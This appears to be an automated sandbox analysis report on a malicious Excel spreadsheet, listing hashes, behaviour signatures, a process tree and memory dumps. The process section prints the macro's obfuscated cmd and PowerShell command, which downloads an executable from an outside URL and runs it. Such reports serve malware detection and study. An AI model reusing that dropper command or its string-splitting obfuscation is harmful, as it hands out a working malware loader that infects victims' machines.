Analysis

  • max time kernel
    19s
  • max time network
    18s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    22-07-2024 22:20

General

  • Target

    3dca7da0a86761efc51704f907b6f17f167bba19ba94558fac46e65c9ecebbb3.xls

  • Size

    72KB

  • MD5

    2de767f38788217a8265ee15b91e5bb9

  • SHA1

    f9ee5c0226f01e061bee62e20514ea568bf3165f

  • SHA256

    3dca7da0a86761efc51704f907b6f17f167bba19ba94558fac46e65c9ecebbb3

  • SHA512

    1312b523aab8bd701228ff95a05c96fc9b14047d1496c7b10b780c7d40c0203b095477805fc24a1dafc18270e897145ee7cbd7ff675df7179faaba11df4b5bcb

  • SSDEEP

    1536:AaOadvxHlcaQPy0iWYOcG4BDhnxD7oOExxEtjPOtioVjDGUU1qfDlaGGx+cL2QnZ:AaOadvxHlcaAy0iWYOcG4BDhnxD7oOEe

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\3dca7da0a86761efc51704f907b6f17f167bba19ba94558fac46e65c9ecebbb3.xls
    1⤵
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2484
    • C:\Windows\SysWOW64\CMd.exe
      CMd.exe /c "p^Ow^ERS^hel^l^.e^x^e^ -nO^l -No^Ni^Nt^ -W^InDO^ws^ 1 -NoprO^FIle^ -eX^Ec^U B^Ypa^S^s $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='De';$uy='fa';$ji='ult.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'http://romful.com/nero'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe)"
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2616
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        pOwERShell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -eXEcU BYpaSs $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='De';$uy='fa';$ji='ult.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'http://romful.com/nero'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe)
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2624

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2484-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2484-1-0x000000007282D000-0x0000000072838000-memory.dmp

    Filesize

    44KB

  • memory/2484-2-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-3-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-9-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-7-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-5-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-4-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-10-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-8-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-6-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-15-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-11-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-85-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-86-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-32-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-37-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-12-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-13-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-14-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-51-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-55-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-62-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-64-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-66-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-88-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-87-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-65-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-63-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-61-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-60-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-59-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-58-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-57-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-56-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-54-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-53-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-52-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-50-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-49-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-48-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-47-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-46-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-45-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-44-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-43-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-42-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-41-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-40-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-39-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-38-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-36-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-35-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-34-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-33-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-31-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-30-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-29-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-28-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-27-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-25-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-26-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-24-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-23-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-20-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-21-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-19-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-18-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-16-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB

  • memory/2484-91-0x000000007282D000-0x0000000072838000-memory.dmp

    Filesize

    44KB

  • memory/2484-92-0x0000000000630000-0x0000000000730000-memory.dmp

    Filesize

    1024KB